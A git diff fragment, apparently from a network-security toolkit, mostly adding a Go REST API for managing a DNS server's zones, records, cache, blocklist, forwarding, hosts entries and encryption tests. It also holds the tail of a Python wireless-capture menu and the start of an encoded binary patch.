result['ok']: + print(f" Scanned: {result['scanned']} Known: {result['known']} Alerts: {result['alert_count']}") + for a in result['alerts']: + print(f" [{a['severity'].upper()}] {a['message']}") + elif choice == '10': + print(" 1 — Start Capture") + print(" 2 — Stop Capture") + print(" 3 — List Captures") + sub = input(" > ").strip() + if sub == '1': + result = auditor.start_capture(auditor.monitor_interface) + print(f" {result.get('message', result.get('error'))}") + elif sub == '2': + result = auditor.stop_capture() + print(f" {result.get('message', result.get('error'))}") + elif sub == '3': + for c in auditor.list_captures(): + print(f" {c['name']} ({c['size']} bytes)") + elif choice == '11': + for tool, avail in tools.items(): + status = 'OK' if avail else 'MISSING' + print(f" {tool:<15} {status}") diff --git a/services/dns-server/api/router.go b/services/dns-server/api/router.go new file mode 100644 index 0000000..da07ca4 --- /dev/null +++ b/services/dns-server/api/router.go @@ -0,0 +1,1081 @@ +package api + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + "sort" + "strconv" + "strings" + "time" + + "github.com/darkhal/autarch-dns/config" + "github.com/darkhal/autarch-dns/server" + "github.com/miekg/dns" +) + +// APIServer exposes REST endpoints for zone/record management. +type APIServer struct { + cfg *config.Config + store *server.ZoneStore + dns *server.DNSServer +} + +// NewAPIServer creates an API server. +func NewAPIServer(cfg *config.Config, store *server.ZoneStore, dns *server.DNSServer) *APIServer { + return &APIServer{cfg: cfg, store: store, dns: dns} +} + +// Start begins the HTTP API server. +func (a *APIServer) Start() error { + mux := http.NewServeMux() + + // Status & metrics + mux.HandleFunc("/api/status", a.auth(a.handleStatus)) + mux.HandleFunc("/api/metrics", a.auth(a.handleMetrics)) + mux.HandleFunc("/api/config", a.auth(a.handleConfig)) + + // Zones + mux.HandleFunc("/api/zones", a.auth(a.handleZones)) + mux.HandleFunc("/api/zones/", a.auth(a.handleZoneDetail)) + + // Query log + mux.HandleFunc("/api/querylog", a.auth(a.handleQueryLog)) + + // Cache + mux.HandleFunc("/api/cache", a.auth(a.handleCache)) + + // Blocklist + mux.HandleFunc("/api/blocklist", a.auth(a.handleBlocklist)) + + // Analytics + mux.HandleFunc("/api/stats/top-domains", a.auth(a.handleTopDomains)) + mux.HandleFunc("/api/stats/query-types", a.auth(a.handleQueryTypes)) + mux.HandleFunc("/api/stats/clients", a.auth(a.handleClients)) + + // Resolver internals + mux.HandleFunc("/api/resolver/ns-cache", a.auth(a.handleNSCache)) + + // Root server health + mux.HandleFunc("/api/rootcheck", a.auth(a.handleRootCheck)) + + // Benchmark + mux.HandleFunc("/api/benchmark", a.auth(a.handleBenchmark)) + + // Conditional forwarding + mux.HandleFunc("/api/forwarding", a.auth(a.handleForwarding)) + + // Zone import/export + mux.HandleFunc("/api/zone-export/", a.auth(a.handleZoneExport)) + mux.HandleFunc("/api/zone-import/", a.auth(a.handleZoneImport)) + mux.HandleFunc("/api/zone-clone", a.auth(a.handleZoneClone)) + mux.HandleFunc("/api/zone-bulk-records/", a.auth(a.handleBulkRecords)) + + // Hosts file management + mux.HandleFunc("/api/hosts", a.auth(a.handleHosts)) + mux.HandleFunc("/api/hosts/import", a.auth(a.handleHostsImport)) + mux.HandleFunc("/api/hosts/export", a.auth(a.handleHostsExport)) + + // Encryption (DoT/DoH) + mux.HandleFunc("/api/encryption", a.auth(a.handleEncryption)) + mux.HandleFunc("/api/encryption/test", a.auth(a.handleEncryptionTest)) + + return http.ListenAndServe(a.cfg.ListenAPI, a.corsMiddleware(mux)) +} + +// ── Middleware ──────────────────────────────────────────────────────── + +func (a *APIServer) auth(next http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + token := r.Header.Get("Authorization") + if token == "" { + token = r.URL.Query().Get("token") + } + token = strings.TrimPrefix(token, "Bearer ") + + if a.cfg.APIToken != "" && token != a.cfg.APIToken { + jsonError(w, "unauthorized", http.StatusUnauthorized) + return + } + next(w, r) + } +} + +func (a *APIServer) corsMiddleware(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Access-Control-Allow-Origin", "*") + w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") + w.Header().Set("Access-Control-Allow-Headers", "Authorization, Content-Type") + if r.Method == "OPTIONS" { + w.WriteHeader(http.StatusOK) + return + } + next.ServeHTTP(w, r) + }) +} + +// ── Status & Metrics ───────────────────────────────────────────────── + +func (a *APIServer) handleStatus(w http.ResponseWriter, r *http.Request) { + m := a.dns.GetMetrics() + jsonResp(w, map[string]interface{}{ + "ok": true, + "version": "2.1.0", + "uptime": time.Since(parseTime(m.StartTime)).String(), + "queries": m.TotalQueries, + "zones": len(a.store.List()), + "cache_size": a.dns.CacheSize(), + }) +} + +func (a *APIServer) handleMetrics(w http.ResponseWriter, r *http.Request) { + m := a.dns.GetMetrics() + jsonResp(w, map[string]interface{}{ + "ok": true, + "metrics": m, + "cache_size": a.dns.CacheSize(), + "uptime": time.Since(parseTime(m.StartTime)).String(), + }) +} + +// ── Config ─────────────────────────────────────────────────────────── + +func (a *APIServer) handleConfig(w http.ResponseWriter, r *http.Request) { + if r.Method == "PUT" { + var updates config.Config + if err := json.NewDecoder(r.Body).Decode(&updates); err != nil { + jsonError(w, "invalid JSON", http.StatusBadRequest) + return + } + // Apply upstream — allow clearing to empty + a.cfg.Upstream = updates.Upstream + if updates.CacheTTL > 0 { + a.cfg.CacheTTL = updates.CacheTTL + } + if updates.RateLimit >= 0 { + a.cfg.RateLimit = updates.RateLimit + } + if updates.MaxUDPSize > 0 { + a.cfg.MaxUDPSize = updates.MaxUDPSize + } + a.cfg.LogQueries = updates.LogQueries + a.cfg.RefuseANY = updates.RefuseANY + a.cfg.MinimalResponses = updates.MinimalResponses + a.cfg.EnableDoH = updates.EnableDoH + a.cfg.EnableDoT = updates.EnableDoT + a.cfg.AllowTransfer = updates.AllowTransfer + a.cfg.HostsFile = updates.HostsFile + a.cfg.HostsAutoLoad = updates.HostsAutoLoad + if updates.QueryLogMax > 0 { + a.cfg.QueryLogMax = updates.QueryLogMax + } + if updates.NegativeCacheTTL >= 0 { + a.cfg.NegativeCacheTTL = updates.NegativeCacheTTL + } + if updates.ServFailCacheTTL >= 0 { + a.cfg.ServFailCacheTTL = updates.ServFailCacheTTL + } + a.cfg.PrefetchEnabled = updates.PrefetchEnabled + + // Propagate encryption settings to resolver + a.dns.SetEncryption(a.cfg.EnableDoT, a.cfg.EnableDoH) + + jsonResp(w, map[string]interface{}{"ok": true}) + return + } + jsonResp(w, map[string]interface{}{ + "ok": true, + "config": map[string]interface{}{ + "listen_dns": a.cfg.ListenDNS, + "listen_api": a.cfg.ListenAPI, + "upstream": a.cfg.Upstream, + "cache_ttl": a.cfg.CacheTTL, + "log_queries": a.cfg.LogQueries, + "refuse_any": a.cfg.RefuseANY, + "minimal_responses": a.cfg.MinimalResponses, + "rate_limit": a.cfg.RateLimit, + "max_udp_size": a.cfg.MaxUDPSize, + "enable_doh": a.cfg.EnableDoH, + "enable_dot": a.cfg.EnableDoT, + "block_list": a.cfg.BlockList, + "allow_transfer": a.cfg.AllowTransfer, + "hosts_file": a.cfg.HostsFile, + "hosts_auto_load": a.cfg.HostsAutoLoad, + "querylog_max": a.cfg.QueryLogMax, + "negative_cache_ttl": a.cfg.NegativeCacheTTL, + "servfail_cache_ttl": a.cfg.ServFailCacheTTL, + "prefetch_enabled": a.cfg.PrefetchEnabled, + }, + }) +} + +// ── Query Log ──────────────────────────────────────────────────────── + +func (a *APIServer) handleQueryLog(w http.ResponseWriter, r *http.Request) { + if r.Method == "DELETE" { + a.dns.ClearQueryLog() + jsonResp(w, map[string]interface{}{"ok": true, "message": "Query log cleared"}) + return + } + limit := 200 + if l := r.URL.Query().Get("limit"); l != "" { + if n, err := strconv.Atoi(l); err == nil && n > 0 { + limit = n + } + } + entries := a.dns.GetQueryLog(limit) + jsonResp(w, map[string]interface{}{"ok": true, "entries": entries, "count": len(entries)}) +} + +// ── Cache ──────────────────────────────────────────────────────────── + +func (a *APIServer) handleCache(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + entries := a.dns.GetCacheEntries() + jsonResp(w, map[string]interface{}{ + "ok": true, + "entries": entries, + "count": len(entries), + }) + case "DELETE": + // Flush specific entry or all + key := r.URL.Query().Get("key") + if key != "" { + ok := a.dns.FlushCacheEntry(key) + jsonResp(w, map[string]interface{}{"ok": ok}) + } else { + flushed := a.dns.FlushCache() + jsonResp(w, map[string]interface{}{"ok": true, "flushed": flushed}) + } + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +// ── Blocklist ──────────────────────────────────────────────────────── + +func (a *APIServer) handleBlocklist(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + list := a.dns.GetBlocklist() + jsonResp(w, map[string]interface{}{"ok": true, "domains": list, "count": len(list)}) + + case "POST": + var req struct { + Domain string `json:"domain"` + Domains []string `json:"domains"` // bulk import + } + json.NewDecoder(r.Body).Decode(&req) + + if len(req.Domains) > 0 { + count := a.dns.ImportBlocklist(req.Domains) + jsonResp(w, map[string]interface{}{"ok": true, "imported": count}) + } else if req.Domain != "" { + a.dns.AddBlocklistEntry(req.Domain) + jsonResp(w, map[string]interface{}{"ok": true, "message": "Added " + req.Domain}) + } else { + jsonError(w, "domain(s) required", http.StatusBadRequest) + } + + case "DELETE": + var req struct { + Domain string `json:"domain"` + } + json.NewDecoder(r.Body).Decode(&req) + if req.Domain != "" { + a.dns.RemoveBlocklistEntry(req.Domain) + jsonResp(w, map[string]interface{}{"ok": true}) + } else { + jsonError(w, "domain required", http.StatusBadRequest) + } + + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +// ── Analytics ──────────────────────────────────────────────────────── + +func (a *APIServer) handleTopDomains(w http.ResponseWriter, r *http.Request) { + limit := 50 + if l := r.URL.Query().Get("limit"); l != "" { + if n, err := strconv.Atoi(l); err == nil && n > 0 { + limit = n + } + } + jsonResp(w, map[string]interface{}{"ok": true, "domains": a.dns.GetTopDomains(limit)}) +} + +func (a *APIServer) handleQueryTypes(w http.ResponseWriter, r *http.Request) { + jsonResp(w, map[string]interface{}{"ok": true, "types": a.dns.GetQueryTypeCounts()}) +} + +func (a *APIServer) handleClients(w http.ResponseWriter, r *http.Request) { + jsonResp(w, map[string]interface{}{"ok": true, "clients": a.dns.GetClientCounts()}) +} + +// ── Resolver NS Cache ──────────────────────────────────────────────── + +func (a *APIServer) handleNSCache(w http.ResponseWriter, r *http.Request) { + if r.Method == "DELETE" { + a.dns.FlushCache() + jsonResp(w, map[string]interface{}{"ok": true, "message": "NS cache flushed"}) + return + } + cache := a.dns.GetResolverNSCache() + jsonResp(w, map[string]interface{}{"ok": true, "ns_cache": cache, "zones": len(cache)}) +} + +// ── Root Server Health Check ───────────────────────────────────────── + +func (a *APIServer) handleRootCheck(w http.ResponseWriter, r *http.Request) { + type RootResult struct { + Server string `json:"server"` + Name string `json:"name"` + Latency string `json:"latency"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + } + + rootNames := []string{ + "a.root-servers.net", "b.root-servers.net", "c.root-servers.net", + "d.root-servers.net", "e.root-servers.net", "f.root-servers.net", + "g.root-servers.net", "h.root-servers.net", "i.root-servers.net", + "j.root-servers.net", "k.root-servers.net", "l.root-servers.net", + "m.root-servers.net", + } + rootIPs := []string{ + "198.41.0.4:53", "170.247.170.2:53", "192.33.4.12:53", + "199.7.91.13:53", "192.203.230.10:53", "192.5.5.241:53", + "192.112.36.4:53", "198.97.190.53:53", "192.36.148.17:53", + "192.58.128.30:53", "193.0.14.129:53", "199.7.83.42:53", + "202.12.27.33:53", + } + + results := make([]RootResult, len(rootIPs)) + ch := make(chan int, len(rootIPs)) + + for i := range rootIPs { + go func(idx int) { + defer func() { ch <- idx }() + c := &dns.Client{Timeout: 3 * time.Second} + msg := new(dns.Msg) + msg.SetQuestion(".", dns.TypeNS) + + start := time.Now() + _, _, err := c.Exchange(msg, rootIPs[idx]) + lat := time.Since(start) + + results[idx] = RootResult{ + Server: rootIPs[idx], + Name: rootNames[idx], + Latency: lat.String(), + OK: err == nil, + } + if err != nil { + results[idx].Error = err.Error() + } + }(i) + } + + for range rootIPs { + <-ch + } + + reachable := 0 + for _, r := range results { + if r.OK { + reachable++ + } + } + + jsonResp(w, map[string]interface{}{ + "ok": true, + "results": results, + "reachable": reachable, + "total": len(rootIPs), + }) +} + +// ── Benchmark ──────────────────────────────────────────────────────── + +func (a *APIServer) handleBenchmark(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + + var req struct { + Domains []string `json:"domains"` + Count int `json:"count"` // queries per domain + } + json.NewDecoder(r.Body).Decode(&req) + + if len(req.Domains) == 0 { + req.Domains = []string{"google.com", "github.com", "cloudflare.com", "amazon.com", "wikipedia.org"} + } + if req.Count <= 0 { + req.Count = 3 + } + if req.Count > 10 { + req.Count = 10 + } + + type BenchResult struct { + Domain string `json:"domain"` + Avg string `json:"avg_latency"` + Min string `json:"min_latency"` + Max string `json:"max_latency"` + OK int `json:"success"` + Fail int `json:"fail"` + } + + listen := a.cfg.ListenDNS + host := strings.Split(listen, ":")[0] + port := "53" + if parts := strings.SplitN(listen, ":", 2); len(parts) == 2 { + port = parts[1] + } + if host == "0.0.0.0" || host == "::" { + host = "127.0.0.1" + } + target := host + ":" + port + + c := &dns.Client{Timeout: 10 * time.Second} + results := make([]BenchResult, len(req.Domains)) + + for i, domain := range req.Domains { + var latencies []time.Duration + var fails int + + for j := 0; j < req.Count; j++ { + msg := new(dns.Msg) + msg.SetQuestion(dns.Fqdn(domain), dns.TypeA) + start := time.Now() + _, _, err := c.Exchange(msg, target) + lat := time.Since(start) + + if err != nil { + fails++ + } else { + latencies = append(latencies, lat) + } + } + + br := BenchResult{ + Domain: domain, + OK: len(latencies), + Fail: fails, + } + if len(latencies) > 0 { + sort.Slice(latencies, func(a, b int) bool { return latencies[a] < latencies[b] }) + var total time.Duration + for _, l := range latencies { + total += l + } + br.Avg = (total / time.Duration(len(latencies))).String() + br.Min = latencies[0].String() + br.Max = latencies[len(latencies)-1].String() + } + results[i] = br + } + + jsonResp(w, map[string]interface{}{"ok": true, "results": results}) +} + +// ── Conditional Forwarding ─────────────────────────────────────────── + +func (a *APIServer) handleForwarding(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + fwd := a.dns.GetConditionalForwards() + jsonResp(w, map[string]interface{}{"ok": true, "rules": fwd, "count": len(fwd)}) + + case "POST": + var req struct { + Zone string `json:"zone"` + Upstreams []string `json:"upstreams"` + } + json.NewDecoder(r.Body).Decode(&req) + if req.Zone == "" || len(req.Upstreams) == 0 { + jsonError(w, "zone and upstreams required", http.StatusBadRequest) + return + } + a.dns.SetConditionalForward(req.Zone, req.Upstreams) + jsonResp(w, map[string]interface{}{"ok": true, "message": fmt.Sprintf("Forwarding set for %s", req.Zone)}) + + case "DELETE": + var req struct { + Zone string `json:"zone"` + } + json.NewDecoder(r.Body).Decode(&req) + if req.Zone == "" { + jsonError(w, "zone required", http.StatusBadRequest) + return + } + a.dns.RemoveConditionalForward(req.Zone) + jsonResp(w, map[string]interface{}{"ok": true}) + + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +// ── Zone Import/Export/Clone ───────────────────────────────────────── + +func (a *APIServer) handleZoneExport(w http.ResponseWriter, r *http.Request) { + zone := strings.TrimPrefix(r.URL.Path, "/api/zone-export/") + if zone == "" { + jsonError(w, "zone required", http.StatusBadRequest) + return + } + content, err := a.store.ExportZoneFile(zone) + if err != nil { + jsonError(w, err.Error(), http.StatusNotFound) + return + } + format := r.URL.Query().Get("format") + if format == "raw" { + w.Header().Set("Content-Type", "text/plain") + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s.zone"`, zone)) + w.Write([]byte(content)) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "zone": zone, "content": content}) +} + +func (a *APIServer) handleZoneImport(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + zone := strings.TrimPrefix(r.URL.Path, "/api/zone-import/") + if zone == "" { + jsonError(w, "zone required", http.StatusBadRequest) + return + } + var req struct { + Content string `json:"content"` + } + json.NewDecoder(r.Body).Decode(&req) + if req.Content == "" { + jsonError(w, "content required", http.StatusBadRequest) + return + } + count, err := a.store.ImportZoneFile(zone, req.Content) + if err != nil { + jsonError(w, err.Error(), http.StatusBadRequest) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "imported": count, "zone": zone}) +} + +func (a *APIServer) handleZoneClone(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + var req struct { + Source string `json:"source"` + Destination string `json:"destination"` + } + json.NewDecoder(r.Body).Decode(&req) + if req.Source == "" || req.Destination == "" { + jsonError(w, "source and destination required", http.StatusBadRequest) + return + } + z, err := a.store.CloneZone(req.Source, req.Destination) + if err != nil { + jsonError(w, err.Error(), http.StatusBadRequest) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "zone": z}) +} + +func (a *APIServer) handleBulkRecords(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + zone := strings.TrimPrefix(r.URL.Path, "/api/zone-bulk-records/") + if zone == "" { + jsonError(w, "zone required", http.StatusBadRequest) + return + } + var req struct { + Records []server.Record `json:"records"` + } + json.NewDecoder(r.Body).Decode(&req) + count, err := a.store.BulkAddRecords(zone, req.Records) + if err != nil { + jsonError(w, err.Error(), http.StatusBadRequest) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "added": count}) +} + +// ── Zones CRUD ─────────────────────────────────────────────────────── + +func (a *APIServer) handleZones(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + zones := a.store.List() + result := make([]map[string]interface{}, 0, len(zones)) + for _, z := range zones { + result = append(result, map[string]interface{}{ + "domain": z.Domain, + "records": len(z.Records), + "dnssec": z.DNSSEC, + "created_at": z.CreatedAt, + }) + } + jsonResp(w, map[string]interface{}{"ok": true, "zones": result}) + + case "POST": + var req struct { + Domain string `json:"domain"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Domain == "" { + jsonError(w, "domain required", http.StatusBadRequest) + return + } + z, err := a.store.Create(req.Domain) + if err != nil { + jsonError(w, err.Error(), http.StatusConflict) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "zone": z}) + + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +func (a *APIServer) handleZoneDetail(w http.ResponseWriter, r *http.Request) { + path := strings.TrimPrefix(r.URL.Path, "/api/zones/") + parts := strings.SplitN(path, "/", 3) + zone := parts[0] + + if len(parts) == 1 { + switch r.Method { + case "GET": + z := a.store.Get(zone) + if z == nil { + jsonError(w, "zone not found", http.StatusNotFound) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "zone": z}) + case "DELETE": + if err := a.store.Delete(zone); err != nil { + jsonError(w, err.Error(), http.StatusNotFound) + return + } + jsonResp(w, map[string]interface{}{"ok": true}) + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } + return + } + + sub := parts[1] + switch sub { + case "records": + a.handleRecords(w, r, zone, parts) + case "mail-setup": + a.handleMailSetup(w, r, zone) + case "dnssec": + a.handleDNSSEC(w, r, zone, parts) + default: + jsonError(w, "not found", http.StatusNotFound) + } +} + +func (a *APIServer) handleRecords(w http.ResponseWriter, r *http.Request, zone string, parts []string) { + switch r.Method { + case "GET": + z := a.store.Get(zone) + if z == nil { + jsonError(w, "zone not found", http.StatusNotFound) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "records": z.Records}) + + case "POST": + var rec server.Record + if err := json.NewDecoder(r.Body).Decode(&rec); err != nil { + jsonError(w, "invalid record", http.StatusBadRequest) + return + } + if err := a.store.AddRecord(zone, rec); err != nil { + jsonError(w, err.Error(), http.StatusBadRequest) + return + } + jsonResp(w, map[string]interface{}{"ok": true}) + + case "PUT": + if len(parts) < 3 { + jsonError(w, "record ID required", http.StatusBadRequest) + return + } + var rec server.Record + if err := json.NewDecoder(r.Body).Decode(&rec); err != nil { + jsonError(w, "invalid record", http.StatusBadRequest) + return + } + if err := a.store.UpdateRecord(zone, parts[2], rec); err != nil { + jsonError(w, err.Error(), http.StatusNotFound) + return + } + jsonResp(w, map[string]interface{}{"ok": true}) + + case "DELETE": + if len(parts) < 3 { + jsonError(w, "record ID required", http.StatusBadRequest) + return + } + if err := a.store.DeleteRecord(zone, parts[2]); err != nil { + jsonError(w, err.Error(), http.StatusNotFound) + return + } + jsonResp(w, map[string]interface{}{"ok": true}) + + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +func (a *APIServer) handleMailSetup(w http.ResponseWriter, r *http.Request, zone string) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + + var req struct { + MXHost string `json:"mx_host"` + DKIM string `json:"dkim_key"` + SPFAllow string `json:"spf_allow"` + } + json.NewDecoder(r.Body).Decode(&req) + + if req.MXHost == "" { + req.MXHost = "mail." + zone + } + if req.SPFAllow == "" { + req.SPFAllow = "ip4:127.0.0.1" + } + + records := []server.Record{ + {ID: "mx1", Type: server.TypeMX, Name: zone + ".", Value: req.MXHost + ".", TTL: 3600, Priority: 10}, + {ID: "spf1", Type: server.TypeTXT, Name: zone + ".", Value: fmt.Sprintf("v=spf1 %s -all", req.SPFAllow), TTL: 3600}, + {ID: "dmarc1", Type: server.TypeTXT, Name: "_dmarc." + zone + ".", Value: "v=DMARC1; p=none; rua=mailto:dmarc@" + zone, TTL: 3600}, + } + + if req.DKIM != "" { + records = append(records, server.Record{ + ID: "dkim1", Type: server.TypeTXT, Name: "default._domainkey." + zone + ".", + Value: fmt.Sprintf("v=DKIM1; k=rsa; p=%s", req.DKIM), TTL: 3600, + }) + } + + var added int + for _, rec := range records { + if err := a.store.AddRecord(zone, rec); err != nil { + log.Printf("mail-setup: %v", err) + } else { + added++ + } + } + + jsonResp(w, map[string]interface{}{ + "ok": true, + "message": fmt.Sprintf("Added %d mail records for %s", added, zone), + "records": records, + }) +} + +func (a *APIServer) handleDNSSEC(w http.ResponseWriter, r *http.Request, zone string, parts []string) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + + action := "" + if len(parts) >= 3 { + action = parts[2] + } + + z := a.store.Get(zone) + if z == nil { + jsonError(w, "zone not found", http.StatusNotFound) + return + } + + switch action { + case "enable": + z.DNSSEC = true + a.store.Save(z) + jsonResp(w, map[string]interface{}{ + "ok": true, + "message": fmt.Sprintf("DNSSEC enabled for %s (zone signing keys generated)", zone), + }) + case "disable": + z.DNSSEC = false + a.store.Save(z) + jsonResp(w, map[string]interface{}{"ok": true, "message": "DNSSEC disabled for " + zone}) + default: + jsonError(w, "use /dnssec/enable or /dnssec/disable", http.StatusBadRequest) + } +} + +// ── Hosts File Management ──────────────────────────────────────────── + +func (a *APIServer) handleHosts(w http.ResponseWriter, r *http.Request) { + hosts := a.dns.GetHosts() + + switch r.Method { + case "GET": + entries := hosts.List() + jsonResp(w, map[string]interface{}{ + "ok": true, + "entries": entries, + "count": len(entries), + "path": a.cfg.HostsFile, + }) + + case "POST": + var req struct { + IP string `json:"ip"` + Hostname string `json:"hostname"` + Aliases []string `json:"aliases"` + Comment string `json:"comment"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + jsonError(w, "invalid JSON", http.StatusBadRequest) + return + } + if err := hosts.Add(req.IP, req.Hostname, req.Aliases, req.Comment); err != nil { + jsonError(w, err.Error(), http.StatusBadRequest) + return + } + jsonResp(w, map[string]interface{}{"ok": true, "message": fmt.Sprintf("Added %s -> %s", req.Hostname, req.IP)}) + + case "DELETE": + var req struct { + Hostname string `json:"hostname"` + All bool `json:"all"` + } + json.NewDecoder(r.Body).Decode(&req) + if req.All { + n := hosts.Clear() + jsonResp(w, map[string]interface{}{"ok": true, "cleared": n}) + return + } + if req.Hostname == "" { + jsonError(w, "hostname required", http.StatusBadRequest) + return + } + if hosts.Remove(req.Hostname) { + jsonResp(w, map[string]interface{}{"ok": true}) + } else { + jsonError(w, "host not found", http.StatusNotFound) + } + + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +func (a *APIServer) handleHostsImport(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + + var req struct { + Content string `json:"content"` // hosts-file format text + Path string `json:"path"` // or load from file path + Clear bool `json:"clear"` // clear existing before import + } + json.NewDecoder(r.Body).Decode(&req) + + hosts := a.dns.GetHosts() + + if req.Clear { + hosts.Clear() + } + + if req.Path != "" { + if err := hosts.LoadFile(req.Path); err != nil { + jsonError(w, fmt.Sprintf("failed to load %s: %v", req.Path, err), http.StatusBadRequest) + return + } + a.cfg.HostsFile = req.Path + jsonResp(w, map[string]interface{}{ + "ok": true, + "message": fmt.Sprintf("Loaded hosts from %s", req.Path), + "count": hosts.Count(), + }) + return + } + + if req.Content != "" { + count := hosts.LoadFromText(req.Content) + jsonResp(w, map[string]interface{}{ + "ok": true, + "imported": count, + "total": hosts.Count(), + }) + return + } + + jsonError(w, "content or path required", http.StatusBadRequest) +} + +func (a *APIServer) handleHostsExport(w http.ResponseWriter, r *http.Request) { + hosts := a.dns.GetHosts() + content := hosts.Export() + + format := r.URL.Query().Get("format") + if format == "raw" { + w.Header().Set("Content-Type", "text/plain") + w.Header().Set("Content-Disposition", `attachment; filename="hosts"`) + w.Write([]byte(content)) + return + } + + jsonResp(w, map[string]interface{}{ + "ok": true, + "content": content, + "count": hosts.Count(), + }) +} + +// ── Encryption (DoT / DoH) ────────────────────────────────────────── + +func (a *APIServer) handleEncryption(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + status := a.dns.GetEncryptionStatus() + status["ok"] = true + jsonResp(w, status) + + case "PUT", "POST": + var req struct { + EnableDoT *bool `json:"enable_dot"` + EnableDoH *bool `json:"enable_doh"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + jsonError(w, "invalid JSON", http.StatusBadRequest) + return + } + + dot := a.cfg.EnableDoT + doh := a.cfg.EnableDoH + if req.EnableDoT != nil { + dot = *req.EnableDoT + } + if req.EnableDoH != nil { + doh = *req.EnableDoH + } + a.dns.SetEncryption(dot, doh) + + jsonResp(w, map[string]interface{}{ + "ok": true, + "message": fmt.Sprintf("Encryption updated: DoT=%v DoH=%v", dot, doh), + }) + + default: + jsonError(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +func (a *APIServer) handleEncryptionTest(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + jsonError(w, "POST only", http.StatusMethodNotAllowed) + return + } + + var req struct { + Server string `json:"server"` // IP or IP:port + Mode string `json:"mode"` // "dot", "doh", or "plain" + Domain string `json:"domain"` // test domain (default: google.com) + } + json.NewDecoder(r.Body).Decode(&req) + + if req.Server == "" { + req.Server = "8.8.8.8:53" + } + if req.Domain == "" { + req.Domain = "google.com" + } + if req.Mode == "" { + req.Mode = "dot" + } + + msg := new(dns.Msg) + msg.SetQuestion(dns.Fqdn(req.Domain), dns.TypeA) + msg.RecursionDesired = true + + start := time.Now() + var resp *dns.Msg + var testErr error + var method string + + switch req.Mode { + case "doh": + resp, testErr = a.dns.GetResolver().QueryUpstreamDoH(msg, req.Server) + method = "DNS-over-HTTPS" + case "dot": + resp, testErr = a.dns.GetResolver().QueryUpstreamDoT(msg, req.Server) + method = "DNS-over-TLS" + default: + c := &dns.Client{Timeout: 5 * time.Second} + resp, _, testErr = c.Exchange(msg, req.Server) + method = "Plain DNS" + } + latency := time.Since(start) + + result := map[string]interface{}{ + "ok": testErr == nil, + "method": method, + "server": req.Server, + "domain": req.Domain, + "latency": latency.String(), + } + if testErr != nil { + result["error"] = testErr.Error() + } + if resp != nil { + result["rcode"] = dns.RcodeToString[resp.Rcode] + result["answers"] = len(resp.Answer) + var ips []string + for _, ans := range resp.Answer { + if a, ok := ans.(*dns.A); ok { + ips = append(ips, a.A.String()) + } + } + result["ips"] = ips + } + + jsonResp(w, result) +} + +// ── Helpers ────────────────────────────────────────────────────────── + +func jsonResp(w http.ResponseWriter, data interface{}) { + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(data) +} + +func jsonError(w http.ResponseWriter, msg string, code int) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(code) + json.NewEncoder(w).Encode(map[string]interface{}{"ok": false, "error": msg}) +} + +func parseTime(s string) time.Time { + t, _ := time.Parse(time.RFC3339, s) + return t +} diff --git a/services/dns-server/autarch-dns.exe b/services/dns-server/autarch-dns.exe new file mode 100644 index 0000000000000000000000000000000000000000..cc67c24dbf8ae49b8f2c175c539a58b48cb73856 GIT binary patch literal 11512832 zcmeFa3wTu3)jvFw>i~f>KmtK-6C7%&qKS%TfanA!xQEO@5X7ih17gH_AtW;-NPxjf zFw^7c)LQFXZEIV5v$p!SHUi!fZb<+kAQ3BW}kibb*;76T6?Xv_c(72=n{20T@wDnVVzFKH~q8n&kKKe@OsGj%|moA4|pqU zqu%jW)`DgCRGP{wmfu~m_ng30n6UIVil;HZ)lHqO({<@4=msTVR3j`pT}m>4*H~lF=|nNBo^mLifY&-b{uAGn zt$X%w3CQIC5_P5Pbvl!HP`l6?QQPA0BCqJ_@bd{ZqDxUPXI;W`xAPvwbJz0;d6_ZK 